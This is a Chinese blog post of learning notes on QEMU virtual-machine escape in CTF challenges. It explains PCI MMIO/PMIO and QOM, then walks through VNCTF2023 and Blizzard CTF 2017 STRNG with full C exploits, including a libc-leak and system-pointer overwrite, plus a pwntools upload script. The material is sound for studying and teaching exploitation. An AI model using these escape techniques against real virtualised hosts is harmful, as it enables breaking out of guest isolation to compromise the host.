开篇废话
从上学期就定下了学VMpwn这个方向,一是我在刚接触虚拟机的时候就认为虚拟机这个东西是一门艺术,是杰作,其次是被去年蒋公子挖VM ware的CVE拿GeekPwn冠军给帅到了,幻想着成为他那样的神仙。于是就开始摸一些简单的CTF中虚拟机逃逸的题目和qemu的原理,这里特别感谢公大的@korey0sh1 师傅,从他的文章里我学到了许多。
Qemu
QEMU是一个托管的虚拟机,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM一起使用进而接近本地速度运行虚拟机(接近真实电脑的速度)。QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一种架构上面运行(借由VMM的形式)。
简而言之就是一个开源的虚拟机,多架构、跨平台,纯软件实现。
QEMU有多种模式
User mode:又称作“用户模式”,在这种模式下,QEMU运行针对不同指令编译的单个Linux或Darwin/macOS程序。系统调用与32/64位接口适应。在这种模式下,我们可以实现交叉编译(cross-compilation)与交叉侦错(cross- debugging)。
System mode:“系统模式”,在这种模式下,QEMU模拟一个完整的计算机系统,包括外围设备。它可以用于在一台计算机上提供多台虚拟计算机的虚拟主机。 QEMU可以实现许多客户机OS的引导,比如x86,MIPS,32-bit ARMv7,PowerPC等等。
KVM Hosting:QEMU在这时处理KVM镜像的设置与迁移,并参加硬件的仿真,但是客户端的执行则由KVM完成。
Xen Hosting:在这种托管下,客户端的执行几乎完全在Xen中完成,并且对QEMU屏蔽。QEMU只提供硬件仿真的支持。
PCI设备概述
在操作系统中,我们学过PCIe总线,PCIe总线其实就是PCI总线的继承者,先不提这两者的区别和继承。我们只需要知道,PCI指的是Peripheral Component Interconnect"(外围设备互联)接口。而PCI设备就是指符合PCI接口标准的计算机硬件层面连在PCI总线上的设备(网卡、声卡、显卡等)。
PCI设备可以申请两类地址空间,分别是内存地址空间(memory space)和I/O地址空间(I/O space)(from @korey0sh1 )
MMIO/PMIO
MMIO(Memory-Mapped I/O)和PMIO(Port-Mapped I/O)是两种不同的输入/输出(I/O)访问方式。
内存映射I/O(MMIO)是一种访问设备的方法,其中设备的寄存器被映射到系统的物理内存地址空间中的特定区域。这样,系统可以像访问内存一样访问设备的寄存器,从而简化了编程和操作。
端口映射I/O(PMIO)是通过输入/输出端口(I/O端口)访问设备的另一种方式。与MMIO不同,I/O端口是设备地址空间的一部分,而不是内存地址空间。通过向设备的特定I/O端口发送命令和数据来控制和通信。
总的来说,MMIO和PMIO是两种不同的I/O访问方式。MMIO被认为是更为灵活的方式,可以减少对I/O端口的需求,而PMIO则可以在没有物理内存(如嵌入式系统)的环境中使用。
在qemu中二者都存在或者有的时候只存在一种。
在虚拟机中,如何查看MMIO和PMIO的地址呢,首先我们需要在虚拟机中确定我们题目的设备
这里以strng虚拟机为例(原题是blizzard ctf 2017的qemu逃逸 )首先我们可以分析启动命令
-m 指定大小为1G,
-device常用于指定guest上总线挂载的外部设备,例如virtio-mmio、usb、pci等总线,
-hda IMAGE.img- 设置虚拟硬盘并使用指定的镜像文件
-nographic 指定QEMU图形界面不会被启用,并将控制台输出重定向到终端窗口
-L pc-bios 参数告诉QEMU在pc-bios目录中查找BIOS、VPD等固件文件。pc-bios目录包含一组常用的BIOS和固件文件,这些文件用于启动QEMU模拟器中的虚拟机和提供其它功能。如果未指定-L选项,QEMU将从其默认的固件目录中加载这些文件(通常是/usr/share/qemu/bios
-enable-kvm 启用了KVM硬件加速功能,允许虚拟机直接访问主机CPU的虚拟化扩展,从而提高了虚拟机的性能和效率
-device e1000,netdev=net0 告诉QEMU要为虚拟机添加一个使用e1000网卡模拟器的网络设备,并将其连接到名为net0的网络设备上
-netdev user,id=net0,hostfwd=tcp::5555-:22 允许在虚拟机与主机之间建立基于用户网络的网络连接,并将主机端口5555转发到虚拟机的端口22,以允许从主机连接到虚拟机的SSH服务
关于hda、hdb这些我翻来了qemuwiki 里的解释
1 2 3 4 5 6 7 8 9 10 11 QEMU 最多可以使用四个映像文件来为客户系统提供多个虚拟驱动器。这可能非常有用,如以下示例所示: 可以在 QEMU 来宾之间共享的页面文件或交换文件虚拟磁盘 存储所有数据的公共数据驱动器,可从每个 QEMU 来宾访问但与主机隔离 在不重新配置主映像的情况下为 QEMU 来宾提供额外空间 通过将单独的 QEMU 映像放置在不同的物理驱动器上,将相互竞争的 I/O 操作分离到不同的物理驱动器轴上 模拟用于测试/学习的多驱动器物理环境 请记住,一次只有一个 QEMU 实例可以访问图像——共享并不意味着同时共享! 要在 QEMU 中使用其他图像,请在命令行中使用选项 -hda、-hdb、-hdc、-hdd 指定它们。 qemu -m 256 -hda winxp.img -hdb pagefile.img -hdc testdata.img -hdd tempfiles.img -enable-kvm
至此启动参数分析完了,我们的目的是想要在虚拟机中确定我们题目的设备,看到关键的一行启动参数 -device strng \
,得知,在启动脚本中我们定义了qemu中的一个设备“strng”,也就是说,strng是以虚拟机中的一个 pci设备 存在的。
接着可以启动虚拟机,执行lspci
查看一下pci设备,也可以直接lspci -t -v
以树状显示pci设备
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ubuntu@ubuntu:~$ lspci 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02) 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II] 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) 00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) 00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03) ubuntu@ubuntu:~$ lspci -t -v -[0000:00]-+-00.0 Intel Corporation 440FX - 82441FX PMC [Natoma] +-01.0 Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] +-01.1 Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II] +-01.3 Intel Corporation 82371AB/EB/MB PIIX4 ACPI +-02.0 Device 1234:1111 +-03.0 Device 1234:11e9 \-04.0 Intel Corporation 82540EM Gigabit Ethernet Controller
执行之后如上,暂时也看不出啥,但要是说猜测的话,可以猜00:03.0这个unclassified设备,大概率就是我们的strng。但是猜不靠谱啊,肯定得去找依据!
qemu程序在刚开始的时候会有一个<dev>_class_init
函数,其中就是设备名字
我们知道了设备的名字是strng,那么我们直接把qemu用ida打开,去查找字符串strng_class_init
成功找到这个函数
看到1234、11e9这两个数,基本就可以确定03.0 Device 1234:11e9
这个设备就是我们想找的strng设备。
关于lspci显示结果的解释,我这里引用一下korey0sh1师傅的话bus(总线)、device(设备)、function(功能),之后的内容是 Class、Vendor、Device
确定了3是目标设备之后,我们的目的是进一步查看其MMIO/PMIO地址
先执行lspci -v
会输出所有设备的详细信息
1 2 3 4 5 6 7 00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) Subsystem: Red Hat, Inc Device 1100 Physical Slot: 3 Flags: fast devsel Memory at febf1000 (32-bit, non-prefetchable) [size=256] I/O ports at c050 [size=8]
找到3号的,最后两行Memory和I/O port分别对应MMIO和PMIO,起始地址分别为0xfebf1000和0xc050
然后可以先看看其resourse所在目录ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
看到
1 2 3 -r--r--r-- 1 root root 4096 May 25 04:03 resource -rw------- 1 root root 256 May 25 04:16 resource0 -rw------- 1 root root 8 May 25 04:16 resource1
resource0 对应MMIO空间。
resource1 对应PMIO空间。
然后cat出来看
1 2 3 4 5 6 7 8 9 10 ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource 0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 0x000000000000c050 0x000000000000c057 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
从左至右依次是:起始地址、结束地址、标志位。
第一行是MMIO、第二行是PMIO。
至此,MMIO/PMIO地址已获取
QOM(Qemu Object Model)
用qemu官方文档的话来说就是Everything in QOM is a device
QOM是QEMU在C的基础上自己实现的一套面向对象机制,负责将device、bus等设备都抽象成为对象。
QOM主要有以下四个组件
Type
:用来定义一个「类」的基本属性,例如类的名字、大小、构造函数等
Class
:用来定义一个「类」的静态内容,例如类中存储的静态数据、方法函数指针等
Object
:动态分配的一个「类」的具体的实例(instance),储存类的动态数据
Property
:动态对象数据的访问器(accessor),可以通过监视器接口进行检查
详细可以参考这个ppt
注意,以上这四个都是Qemu用来处理和类 相关的操作的组件,与下文我们要学习的几个结构体不能完全划上等号。
Typeinfo
当我们在 Qemu 中要定义一个「类」的时候,我们实际上需要定义一个 TypeInfo 类型的变量
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct TypeInfo { const char *name; const char *parent; size_t instance_size; size_t instance_align; void (*instance_init)(Object *obj); void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); bool abstract; size_t class_size; void (*class_init)(ObjectClass *klass, void *data); void (*class_base_init)(ObjectClass *klass, void *data); void *class_data; InterfaceInfo *interfaces; };
如下示例定义了一个example_type_info结构体
1 2 3 4 5 6 7 8 9 10 A Simple Object Example Declaration static const TypeInfo example_type_info = { .name = "example" , .parent = TYPE_OBJECT, }; static void example_register_types (void ) { type_register_static(&example_type_info); } type_init(example_register_types)
这段代码先定义了一个example_type_info
结构体并做了一些赋值操作,然后定义了一个example_register_types
函数,该函数调用的是type_register_static
这个qemu实现的函数,将我们的结构体example_register_types
作为参数注册到全局的类型表中,然后将example_register_types
这个函数指针作为参数传给type_init
这个qemu实现的函数,type_init
负责注册。
Class
Object
题目
VNCTF2023 逃离浪浪山
这是今年VNCTF的一道题,现在看来是非常简单的,但是当时只有3个师傅做出来了。我就先跟着这道简单的题目来学习一下比赛中qemu逃逸的一般流程。当然这道题因为没用到pmio,所以流程也不算完整。
先看启动脚本
看到关键的-device vn,id=vda
,可以知道起了一个叫做vn的设备,那么我们直接去ida字符串查找vn_class_init
然后字符串追踪到这个初始化函数:
接着根据这里的数据和虚拟机里lspci
可以确定设备4是vn,然后去/sys/devices/pci0000:00/0000:00:04.0
目录
看到只有resource0没有resource1,意思就是只有mmio没有pmio
然后看resource可以看到mmio的起始地址和结束地址
有了这些我们可以在脚本里mmap
做虚拟地址映射,然后对其能够访问
然后我们再根据vn-mmio
这个字符串追踪到memeory_region_init_io
函数
这个函数也是用于初始化,其中一个参数是vn_mmio_ops
,这个地址存放的是mmio的操作集(可以直接根据options理解),这道题因为符号表被扣掉了所以变量都很丑陋,但是我们参考别的题目可以得出“vn-mmio”这个字符串前面的参数就是操作集vn_mmio_ops
。最关键的 一点是,这个变量的位置最前面两个保存的是mmio_read
和mmio_write
,也就是我需要用到的和设备内存地址交互的函数.
因为扣掉了符号表所以函数名没有显示,但我们依旧可以通过这两个地址找到mmio_read
和mmio_write
函数
mmio_read
函数逻辑很清晰,当a2 = 0x1f0000时,将"vnctf"字符串复制到dword_137A358处
mmio_write
当a2 = 0x100000且137A358和1301090相等时,把command赋值为’cat flag’,a2 = 0x2f0000时,执行system(command)
然后我们再去看待比较的dword_1301090位置
看到字符串就是'vnctf'
,于是思路就很清晰了,先用mmio_read把vnctf写入目标地址,然后两次mmio_write控制参数就可以了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #define _GUN_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;uint64_t mmio_read (uint64_t addr) { return *((uint64_t *)(mmio_mem + addr)); } uint64_t mmio_write (uint64_t addr, uint64_t value) { return *((uint64_t *)(mmio_mem + addr)) = value; } int main (int argc ,char **argv, char **envp) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd < 0 ){ puts ("open mmio failed" ); exit (-1 ); } mmio_mem = mmap(0 ,0x1000000 ,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED){ puts ("mmap failed !" ); exit (-1 ); } mmio_read(0x1f0000 ); mmio_write(0x100000 ,1 ); mmio_write(0x2f0000 ,1 ); return 0 ; }
白痴问题之 “这个exp怎么食用嘞?”
首先这个exp是用C语言实现的虚拟IO设备交互,我们需要把它执行起来,就首先要把它编译成可执行文件,而且要使用静态链接因为在虚拟环境里面会缺少很多链接库。编译指令就直接
gcc exp.c -o exp -static
就可以了,然后至于把这个文件传到qemu的话有两种方法,第一种使用scp指令,第二种是用docker起qemu服务,然后写个python脚本用base64传文件,这里写一个通用模板脚本:(来源于arttnba3师傅的博客 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *import time, oscontext.log_level = "debug" p=remote("127.0.0.1" ,9999 ) os.system("tar -czvf exp.tar.gz ./exp" ) os.system("base64 exp.tar.gz > b64_exp" ) f = open ("./b64_exp" , "r" ) p.sendline() p.recvuntil("/ #" ) p.sendline("echo '' > b64_exp;" ) count = 1 while True : print ('now line: ' + str (count)) line = f.readline().replace("\n" ,"" ) if len (line)<=0 : break cmd = b"echo '" + line.encode() + b"' >> b64_exp;" p.sendline(cmd) p.recvuntil("/ #" ) count += 1 f.close() p.sendline("base64 -d b64_exp > exp.tar.gz;" ) p.sendline("tar -xzvf exp.tar.gz" ) p.sendline("chmod +x ./exp;" ) p.sendline("./exp" ) p.interactive()
阿里云CTF2023 逃离地球
先看一眼启动脚本:
1 2 3 4 5 6 7 8 #!/bin/sh ./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-4.15.0-208-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \ -m 64M \ -monitor none \ -device tulip \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -nographic
起了一个叫tulip的设备
先简单字符串追踪一下,找到init函数和pci设备
STRNG 虚拟机逃逸
Blizzard CTF 2017
题目仓库:https://github.com/rcvalle/blizzardctf2017
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/io.h> size_t pmio_base = 0x000000000000c050 ;void * mmio_mem; uint64_t mmio_read (uint32_t addr) { return *( (uint32_t *)mmio_mem + addr ); } void mmio_write (uint32_t addr,uint32_t val ) { *((uint32_t *)mmio_mem + addr) = val; } void pmio_write (uint32_t addr,uint32_t val) { outl(val,addr); } uint64_t pmio_read (uint32_t addr) { return (uint32_t )inl(addr); } int main () { setbuf(stdout ,0 ); setbuf(stdin ,0 ); setbuf(stderr ,0 ); int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0" ,O_RDWR | O_SYNC); if (mmio_fd==-1 ){ perror("mmio failed" );exit (-1 ); } mmio_mem = mmap(0 ,0x1000 ,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0 ); if (mmio_mem == MAP_FAILED){ perror("map mmio failed" );exit (-1 );} printf ("addr of mmio:%p\n" ,mmio_mem); mmio_write(2 ,0x6d6f6e67 ); mmio_write(3 ,0x61632d65 ); mmio_write(4 ,0x6c75636c ); mmio_write(5 ,0x726f7461 ); if (iopl(3 )!=0 ){perror("iopl failed" );exit (-1 );} uint64_t srand_addr; uint64_t tmp; uint64_t libc; uint64_t system; pmio_write(pmio_base+0 ,0x108 ); srand_addr = pmio_read(pmio_base+4 ); printf ("[DEBUG] 0x%llx\n" ,srand_addr); srand_addr = ((srand_addr<<32 )); printf ("[*]0x%llx\n" ,srand_addr); pmio_write(pmio_base+0 ,0x104 ); tmp = (pmio_read(pmio_base+4 )); printf ("[*]0x%llx\n" ,tmp); srand_addr += tmp; printf ("srand_addr:0x%llx\n" ,srand_addr); libc = srand_addr - 0x3a8e0 -0xb7c0 ; printf ("[*]libc_addr:0x%llx\n" ,libc); system = libc+ 0x50d60 ; printf ("[*]system:0x%llx\n" ,system); pmio_write(pmio_base+0 ,0x114 ); pmio_write(pmio_base+4 ,(system & 0xffffffff )); pmio_write(pmio_base+3 ,0 ); return 0 ; }
(杂碎笔记不用看:符号执行/污点追踪 DMA)
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !